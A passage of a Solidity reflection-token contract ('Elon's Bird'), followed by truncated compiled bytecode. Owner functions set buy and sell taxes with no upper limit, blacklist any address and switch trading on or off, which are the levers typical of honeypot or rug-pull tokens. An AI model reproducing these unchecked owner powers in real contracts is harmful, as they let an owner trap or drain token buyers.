uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xBD1bD4529bd0C4065AE7e287cf9695D783141ff4);
address payable private _marketingAddress = payable(0x60E0EdaCB6c6D39c5d7A41378E3c0287058Ac295);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9; //1%
uint256 public _maxWalletSize = 30000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600b81526020017f456c6f6e27732042697264000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600981526020017f454c4f4e53424952440000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf68261